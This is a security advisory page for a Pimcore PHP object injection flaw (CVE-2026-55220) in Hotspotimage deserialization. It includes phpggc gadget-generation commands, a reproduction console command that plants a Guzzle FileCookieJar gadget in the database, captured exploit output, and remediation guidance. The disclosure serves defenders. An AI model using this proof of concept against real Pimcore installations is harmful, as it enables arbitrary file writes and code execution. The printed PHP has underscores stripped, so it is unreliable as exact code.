CVE-2026-55220: Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column

Published Aug 28, 2026
·
Updated

Summary

Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (wakeup/destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).

The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical jsondecode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.

Severity

High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.

Affected component

- File: models/DataObject/ClassDefinition/Data/Hotspotimage.php, method getDataFromResource(). - Vulnerable lines (v2026.1.4 / v12.3.8): php $metaData = $data[$this->getName() . 'hotspots']; // check if the data is JSON (backward compatibility) $md = jsondecode($metaData, true); if (!$md) { $md = Serialize::unserialize($metaData); // unrestricted: allowedclasses defaults to true } elseif (isarray($md)) { $md['hotspots'] = $md; } - Root enabler: lib/Tool/Serialize.php php public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed { if ($data === null || $data === '') { return $data; } return unserialize($data, ['allowedclasses' => $allowedClasses]); // default true = unrestricted } - Sibling marshallers with the identical fallback shape: ImageGallery, Block, Video (DataObject\ClassDefinition\Data). - Package: pimcore/pimcore (Composer). - Affected versions: all currently maintained releases, including the latest v2026.1.4 and v12.3.8 (verified against deployed v2026.1.4).

Data flow

1. On save, Hotspotimage::getDataForResource() stores the hotspot/marker/crop metadata as Serialize::serialize($metaData) into the <field>hotspots object-store column — i.e. PHP serialized bytes, not JSON. 2. On load, Hotspotimage::getDataFromResource() reads that column, calls jsondecode() (which fails for the serialized format), and therefore falls through to Serialize::unserialize($metaData) with the default unrestricted class list. 3. Serialize::unserialize() invokes unserialize($data, ['allowedclasses' => true]), instantiating any class named in the bytes and triggering its magic methods. 4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null <field>image.

The attacker primitive is the ability to place crafted serialized bytes into the <field>hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.

Proof of Concept

Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).

Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken): printf 'PWNEDBYDESERIALIZATION%s' "$(date +%s)" > /tmp/ggclocalsrc.txt ./phpggc Guzzle/FW1 /tmp/pimcorepwnedhotspot.txt /tmp/ggclocalsrc.txt | tr -d '\n' > /tmp/ggcguzzlefw1.ser stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...

Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into objectstore<id>.imghotspots, then reloads the object through the real Pimcore model layer): php <?php declare(stricttypes=1); namespace App\Command;

use Pimcore\Db; use Pimcore\Model\Asset; use Pimcore\Model\DataObject; use Pimcore\Model\DataObject\ClassDefinition; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface;

#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage hotspots unserialize')] final class E2eHotspotCommand extends Command { protected function configure(): void { $this->addOption('benign', null, InputOption::VALUENONE, 'negative control: benign JSON'); $this->addOption('restricted', null, InputOption::VALUENONE, 'negative control: allowedclasses=false'); }

protected function execute(InputInterface $input, OutputInterface $output): int { $o = fn (string $m) => $output->writeln($m); $gadget = (string) filegetcontents('/tmp/ggcguzzlefw1.ser'); $target = '/tmp/pimcorepwnedhotspot.txt'; @unlink($target);

$o('=== STEP 1: create DataObject class with a Hotspotimage field ==='); $class = ClassDefinition::getByName('E2eHotspot'); if (!$class) { $class = new ClassDefinition(); $class->setName('E2eHotspot'); $class->setGroup('e2e'); $field = new ClassDefinition\Data\Hotspotimage(); $field->setName('img'); $field->setTitle('img'); $panel = new ClassDefinition\Layout\Panel(); $panel->setName('Layout'); $panel->addChild($field); $class->setLayoutDefinitions($panel); $class->save(); } $o(' class id=' . $class->getId());

$o('=== STEP 2: create image asset (Hotspotimage needs a valid image id) ==='); $png = base64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=='); $asset = Asset::getByPath('/e2epixel.png'); if (!$asset) { $asset = new Asset\Image(); $asset->setFilename('e2epixel.png'); $asset->setParent(Asset::getById(1)); $asset->setData($png); $asset->save(); } $o(' asset id=' . $asset->getId());

$o('=== STEP 3: create+save object carrying that image ==='); $obj = DataObject::getByPath('/e2eobj'); if (!$obj) { $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName(); $obj = new $fqcn(); $obj->setKey('e2eobj'); $obj->setParent(DataObject::getById(1)); $obj->setPublished(true); $obj->setValue('img', new DataObject\Data\Hotspotimage($asset)); $obj->save(); } $objId = $obj->getId(); $store = 'objectstore' . $class->getId(); $o(' object id=' . $objId . ' store=' . $store);

$o('=== STEP 4: ATTACKER STORAGE-WRITE into imghotspots column ==='); $db = Db::get(); $payload = $input->getOption('benign') ? jsonencode(['hotspots' => [], 'marker' => [], 'crop' => []]) : $gadget; $db->executeStatement('UPDATE ' . $store . ' SET imghotspots = ? WHERE ooid = ?', [$payload, $objId]); $stored = (string) $db->fetchOne('SELECT imghotspots FROM ' . $store . ' WHERE ooid = ?', [$objId]); $o(' stored prefix: ' . substr($stored, 0, 60)); $o(' jsondecode(stored) === null ? ' . varexport(jsondecode($stored, true) === null, true) . ' (=> unserialize fallback)');

$o('=== STEP 5: clear cache + reload object => getDataFromResource() ==='); \Pimcore\Cache::clearAll(); \Pimcore\Cache\RuntimeCache::clear(); $o(' target file before load exists? ' . varexport(fileexists($target), true));

if ($input->getOption('restricted')) { $o(' [negative control] fixed wrapper allowedclasses=false on the same bytes'); $res = @unserialize($stored, ['allowedclasses' => false]); $o(' returned type=' . gettype($res) . ' class=' . (isobject($res) ? getclass($res) : 'n/a')); gccollectcycles(); } else { try { $reloaded = DataObject\Concrete::getById($objId, ['force' => true]); $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load $o(' reloaded class=' . getclass($reloaded)); unset($reloaded); } catch (\Throwable $e) { $o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage()); } gccollectcycles(); }

$o('=== RESULT ==='); clearstatcache(); if (fileexists($target)) { $o(' [VULNERABLE] gadget file WRITTEN: ' . $target); $o(' contents: ' . trim((string) filegetcontents($target))); } else { $o(' [NOT TRIGGERED] target file absent'); } return Command::SUCCESS; } }

Captured output — RUN A (positive, gadget): === STEP 1: create DataObject class with a Hotspotimage field === class id=1 === STEP 2: create image asset (Hotspotimage needs a valid image id) === asset id=2 === STEP 3: create+save object carrying that image === object id=4 store=objectstore1 === STEP 4: ATTACKER STORAGE-WRITE into imghotspots column === stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\ jsondecode(stored) === null ? true (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array === RESULT === [VULNERABLE] gadget file WRITTEN: /tmp/pimcorepwnedhotspot.txt contents: [{"Expires":1,"Discard":false,"Value":"PWNEDBYDESERIALIZATION1780420803"}]

Captured output — RUN B (negative control, benign JSON in the column): === STEP 4: ATTACKER STORAGE-WRITE into imghotspots column === [negative control] storing benign JSON stored prefix: {"hotspots":[],"marker":[],"crop":[]} jsondecode(stored) === null ? false (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false reloaded class=Pimcore\Model\DataObject\E2eHotspot === RESULT === [NOT TRIGGERED] target file absent

Captured output — RUN C (negative control, the fix: allowedclasses=false over the same gadget bytes): === STEP 4: ATTACKER STORAGE-WRITE into imghotspots column === stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\ jsondecode(stored) === null ? true (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false [negative control] fixed wrapper allowedclasses=false on the same bytes returned type=object class=PHPIncompleteClass === RESULT === [NOT TRIGGERED] target file absent

RUN A shows the attacker bytes drive unserialize() to instantiate the GuzzleHttp\Cookie\FileCookieJar gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe jsondecode branch (no deserialization, no file). RUN C shows that performing the same deserialization with an allowedclasses allowlist returns an inert PHPIncompleteClass and the gadget never runs — i.e. the proposed fix neutralizes the attack.

Impact

PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar chain. Because the hotspots column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.

Remediation

Make Serialize::unserialize() safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.

Preferred minimal fix at the wrapper (closes the whole Serialize::unserialize()-without-allowlist family in one place): php public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed (i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowedclasses' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowedclasses deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1

Other sources

Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field hotspots object-store column to Pimcore\Tool\Serialize::unserialize() without an allowed-classes restriction after JSON decoding fails. An attacker with a separate capability to write crafted PHP serialized bytes into that column can instantiate available classes and trigger magic methods when an affected DataObject is loaded, which can produce arbitrary file writes or code execution through bundled gadget chains. The related ImageGallery, Block, and Video callers use the same fallback pattern, but the identified June fix changes the Hotspotimage caller only. This issue is fixed for Hotspotimage in versions 11.5.19, 12.3.10, and 2026.1.6.

MITRE

Affected Software

2 affected componentsFixes available
composer/pimcore/pimcore<=12.3.9
12.3.10
composer/pimcore/pimcore>=2026.1.0<=2026.1.5
2026.1.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/pimcore/pimcore to a version that resolves this vulnerability.

    Fixed in 12.3.10
  2. Upgrade

    Upgrade composer/pimcore/pimcore to a version that resolves this vulnerability.

    Fixed in 2026.1.6
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 11.5.19
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 12.3.10
  5. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2026.1.6
  6. Configuration

    Make Serialize::unserialize() safe by default by flipping the default $allowedClasses from unrestricted (true) to false, requiring callers that need to revive objects to pass an explicit class allowlist. (Material shows wrapper current behavior: default true = unrestricted; alternative fix shown: default false = inert for gadget bytes)

    Pimcore\Tool\Serialize unserialize allowed classes default (Serialize::unserialize(..., $allowedClasses)) = false (flip default to false requiring explicit allowlist)
  7. Configuration

    In Hotspotimage::getDataFromResource() (models/DataObject/ClassDefinition/Data/Hotspotimage.php), when JSON decoding fails and the code falls back to Serialize::unserialize() on the <field>__hotspots object-store column, pass an explicit allowed-classes restriction (e.g., ['allowed_classes' => false] or a tight allowlist such as [MarkerHotspotItem::class]).

    Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() allowed-classes restriction on unserialize() = explicit class allowlist (or at minimum ['allowed_classes' => false] over the stored *__hotspots column)
  8. Operational

    After applying the fix, clear Pimcore caches to ensure affected objects reload with the corrected deserialization behavior: Pimcore\Cache::clearAll(); Pimcore\Cache\RuntimeCache::clear();

Event History

Aug 28, 2026
CVE Published
via MITRE·07:12 PM
Data Sourced
via MITRE·07:12 PM
DescriptionWeakness
Advisory Published
via GitHub·07:13 PM
Data Sourced
via GitHub·07:13 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Pimcore deployments that load DataObjects with a Hotspotimage field are exposed because the associated hotspots column is deserialized on every object load. The same deserialization fallback is also used by ImageGallery, Block, and Video field-data marshallers.

2

What access does an attacker need to exploit it?

An attacker must be able to write crafted PHP-serialized bytes into the relevant object-store column, such as the column ending in __hotspots for a Hotspotimage field. When the affected DataObject is subsequently loaded, unrestricted deserialization can instantiate attacker-selected classes and invoke magic methods.

3

Is a restrictive class allowlist enabled by default?

No. The Serialize::unserialize() wrapper defaults its allowedClasses parameter to true, which permits unrestricted class deserialization. The persistence layer stores the affected Hotspotimage column as PHP-serialized data, so normal loads reach this behavior.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203